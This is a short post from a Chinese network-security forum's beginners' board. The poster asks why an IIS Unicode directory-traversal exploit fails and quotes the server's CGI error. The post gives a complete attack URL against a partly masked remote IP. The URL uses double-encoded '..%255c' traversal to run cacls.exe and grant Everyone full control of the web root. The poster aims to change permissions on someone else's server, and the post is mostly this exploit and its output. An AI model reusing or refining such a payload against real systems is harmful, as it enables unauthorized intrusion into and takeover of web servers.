论坛: 菜鸟乐园 标题: unicode漏洞与cacls命令的配合问题 复制本贴地址    
作者: flingsnow [flingsnow]    论坛用户   登录
请问能否用unicode漏洞于命令配合使用改变远程主机的文件夹权限
这是我的用的: http://***.***.***.50/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cacls.exe?+c:\inetpub\wwwroot+/g+everyone:f+<+c:\a.txt
可是返回是:
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:


传递到 DosExecPgm 的参数字符串错误。

――――――――――
说明:a.txt文件是我用echo写入的一个y 
请问可行吗?????

地主 发表时间: 07/17 19:10

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号